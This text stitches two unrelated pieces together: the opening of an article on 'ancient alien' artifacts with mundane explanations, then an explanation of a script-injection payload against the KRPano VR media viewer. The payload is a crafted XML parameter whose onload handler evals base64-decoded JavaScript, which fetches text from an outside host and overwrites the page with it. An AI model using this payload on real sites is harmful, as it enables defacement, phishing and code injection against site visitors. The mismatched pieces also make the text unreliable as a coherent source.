10 “Ancient Alien” Artifacts That Have Mundane Explanations
Many relics of human history are so mysterious and wondrous that the imagination, at times, is tempted to run away from the seemingly commonplace and rather unimpressive explanations mainstream archaeology offers. Pseudo-archaeology instead makes more dramatic and appealing solutions, which are nevertheless based more on the need to believe rather than on rigorous scientific investigation. […]

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
